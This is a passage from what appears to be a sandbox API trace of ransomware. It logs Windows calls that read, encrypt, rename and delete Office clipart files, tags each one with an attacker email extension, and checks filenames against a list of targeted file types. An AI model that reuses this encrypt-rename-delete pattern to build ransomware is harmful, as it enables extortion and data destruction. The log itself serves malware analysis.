lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.164] SetEndOfFile (hFile=0x33c) returned 1 [0221.165] CloseHandle (hObject=0x33c) returned 1 [0221.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0221.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.166] lstrlenW (lpString=".doc") returned 4 [0221.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.166] lstrlenW (lpString=".docx") returned 5 [0221.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.166] lstrlenW (lpString=".pdf") returned 4 [0221.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.166] lstrlenW (lpString=".xls") returned 4 [0221.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.166] lstrlenW (lpString=".xlsx") returned 5 [0221.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.166] lstrlenW (lpString=".ppt") returned 4 [0221.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.166] lstrlenW (lpString=".zip") returned 4 [0221.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.166] lstrlenW (lpString=".rar") returned 4 [0221.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.167] lstrlenW (lpString=".bz2") returned 4 [0221.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.167] lstrlenW (lpString=".7z") returned 3 [0221.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.167] lstrlenW (lpString=".dbf") returned 4 [0221.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.167] lstrlenW (lpString=".1cd") returned 4 [0221.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0221.167] lstrlenW (lpString=".jpg") returned 4 [0221.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.167] GetLastError () returned 0x0 [0221.167] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2454, lpOverlapped=0x0) returned 1 [0221.175] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2460, lpOverlapped=0x0) returned 1 [0221.176] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.176] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.176] SetEndOfFile (hFile=0x37c) returned 1 [0221.177] CloseHandle (hObject=0x37c) returned 1 [0221.177] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.177] SetEndOfFile (hFile=0x33c) returned 1 [0221.178] CloseHandle (hObject=0x33c) returned 1 [0221.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0221.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.178] lstrlenW (lpString=".doc") returned 4 [0221.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.178] lstrlenW (lpString=".docx") returned 5 [0221.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.178] lstrlenW (lpString=".pdf") returned 4 [0221.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.178] lstrlenW (lpString=".xls") returned 4 [0221.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.178] lstrlenW (lpString=".xlsx") returned 5 [0221.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.178] lstrlenW (lpString=".ppt") returned 4 [0221.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.179] lstrlenW (lpString=".zip") returned 4 [0221.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.179] lstrlenW (lpString=".rar") returned 4 [0221.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.179] lstrlenW (lpString=".bz2") returned 4 [0221.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.179] lstrlenW (lpString=".7z") returned 3 [0221.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.179] lstrlenW (lpString=".dbf") returned 4 [0221.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.179] lstrlenW (lpString=".1cd") returned 4 [0221.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0221.179] lstrlenW (lpString=".jpg") returned 4 [0221.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.179] GetLastError () returned 0x0 [0221.179] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0221.208] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1100, lpOverlapped=0x0) returned 1 [0221.209] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.209] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.209] SetEndOfFile (hFile=0x37c) returned 1 [0221.209] CloseHandle (hObject=0x37c) returned 1 [0221.209] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.209] SetEndOfFile (hFile=0x33c) returned 1 [0221.210] CloseHandle (hObject=0x33c) returned 1 [0221.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0221.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.211] lstrlenW (lpString=".doc") returned 4 [0221.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.211] lstrlenW (lpString=".docx") returned 5 [0221.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.211] lstrlenW (lpString=".pdf") returned 4 [0221.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.211] lstrlenW (lpString=".xls") returned 4 [0221.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.211] lstrlenW (lpString=".xlsx") returned 5 [0221.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.211] lstrlenW (lpString=".ppt") returned 4 [0221.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.211] lstrlenW (lpString=".zip") returned 4 [0221.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.211] lstrlenW (lpString=".rar") returned 4 [0221.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.211] lstrlenW (lpString=".bz2") returned 4 [0221.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.211] lstrlenW (lpString=".7z") returned 3 [0221.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.212] lstrlenW (lpString=".dbf") returned 4 [0221.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.212] lstrlenW (lpString=".1cd") returned 4 [0221.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0221.212] lstrlenW (lpString=".jpg") returned 4 [0221.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.212] GetLastError () returned 0x0 [0221.212] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0221.295] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0221.296] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.296] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.297] SetEndOfFile (hFile=0x37c) returned 1 [0221.297] CloseHandle (hObject=0x37c) returned 1 [0221.297] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.297] SetEndOfFile (hFile=0x33c) returned 1 [0221.298] CloseHandle (hObject=0x33c) returned 1 [0221.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0221.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.298] lstrlenW (lpString=".doc") returned 4 [0221.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.298] lstrlenW (lpString=".docx") returned 5 [0221.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.299] lstrlenW (lpString=".pdf") returned 4 [0221.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".xls") returned 4 [0221.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.299] lstrlenW (lpString=".xlsx") returned 5 [0221.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.299] lstrlenW (lpString=".ppt") returned 4 [0221.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.299] lstrlenW (lpString=".zip") returned 4 [0221.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.299] lstrlenW (lpString=".rar") returned 4 [0221.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".bz2") returned 4 [0221.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".7z") returned 3 [0221.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.299] lstrlenW (lpString=".dbf") returned 4 [0221.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.299] lstrlenW (lpString=".1cd") returned 4 [0221.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0221.299] lstrlenW (lpString=".jpg") returned 4 [0221.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.305] GetLastError () returned 0x0 [0221.305] ReadFile (in: hFile=0x320, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xb20, lpOverlapped=0x0) returned 1 [0221.342] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xb30, lpOverlapped=0x0) returned 1 [0221.343] ReadFile (in: hFile=0x320, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.343] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.343] SetEndOfFile (hFile=0x330) returned 1 [0221.346] CloseHandle (hObject=0x330) returned 1 [0221.347] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.347] SetEndOfFile (hFile=0x320) returned 1 [0221.349] CloseHandle (hObject=0x320) returned 1 [0221.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0221.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.349] lstrlenW (lpString=".doc") returned 4 [0221.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.349] lstrlenW (lpString=".docx") returned 5 [0221.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.349] lstrlenW (lpString=".pdf") returned 4 [0221.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.349] lstrlenW (lpString=".xls") returned 4 [0221.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.350] lstrlenW (lpString=".xlsx") returned 5 [0221.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.350] lstrlenW (lpString=".ppt") returned 4 [0221.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.350] lstrlenW (lpString=".zip") returned 4 [0221.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.350] lstrlenW (lpString=".rar") returned 4 [0221.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.350] lstrlenW (lpString=".bz2") returned 4 [0221.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.350] lstrlenW (lpString=".7z") returned 3 [0221.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.350] lstrlenW (lpString=".dbf") returned 4 [0221.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.350] lstrlenW (lpString=".1cd") returned 4 [0221.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0221.350] lstrlenW (lpString=".jpg") returned 4 [0221.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.350] GetLastError () returned 0x0 [0221.350] ReadFile (in: hFile=0x320, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1388, lpOverlapped=0x0) returned 1 [0221.448] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1390, lpOverlapped=0x0) returned 1 [0221.449] ReadFile (in: hFile=0x320, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.449] WriteFile (in: hFile=0x374, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.449] SetEndOfFile (hFile=0x374) returned 1 [0221.449] CloseHandle (hObject=0x374) returned 1 [0221.449] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.449] SetEndOfFile (hFile=0x320) returned 1 [0221.451] CloseHandle (hObject=0x320) returned 1 [0221.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.454] lstrlenW (lpString=".doc") returned 4 [0221.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString=".docx") returned 5 [0221.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.454] lstrlenW (lpString=".pdf") returned 4 [0221.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString=".xls") returned 4 [0221.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.454] lstrlenW (lpString=".xlsx") returned 5 [0221.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.454] lstrlenW (lpString=".ppt") returned 4 [0221.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.454] lstrlenW (lpString=".zip") returned 4 [0221.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.454] lstrlenW (lpString=".rar") returned 4 [0221.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString=".bz2") returned 4 [0221.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString=".7z") returned 3 [0221.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.454] lstrlenW (lpString=".dbf") returned 4 [0221.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.454] lstrlenW (lpString=".1cd") returned 4 [0221.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0221.455] lstrlenW (lpString=".jpg") returned 4 [0221.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.462] GetLastError () returned 0x0 [0221.462] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1526, lpOverlapped=0x0) returned 1 [0221.536] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1530, lpOverlapped=0x0) returned 1 [0221.537] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.537] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.537] SetEndOfFile (hFile=0x388) returned 1 [0221.537] CloseHandle (hObject=0x388) returned 1 [0221.538] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.538] SetEndOfFile (hFile=0x354) returned 1 [0221.539] CloseHandle (hObject=0x354) returned 1 [0221.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0221.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.539] lstrlenW (lpString=".doc") returned 4 [0221.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.539] lstrlenW (lpString=".docx") returned 5 [0221.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.539] lstrlenW (lpString=".pdf") returned 4 [0221.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.540] lstrlenW (lpString=".xls") returned 4 [0221.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.540] lstrlenW (lpString=".xlsx") returned 5 [0221.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.548] lstrlenW (lpString=".ppt") returned 4 [0221.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.548] lstrlenW (lpString="C:\\Program Files\\Microsoft 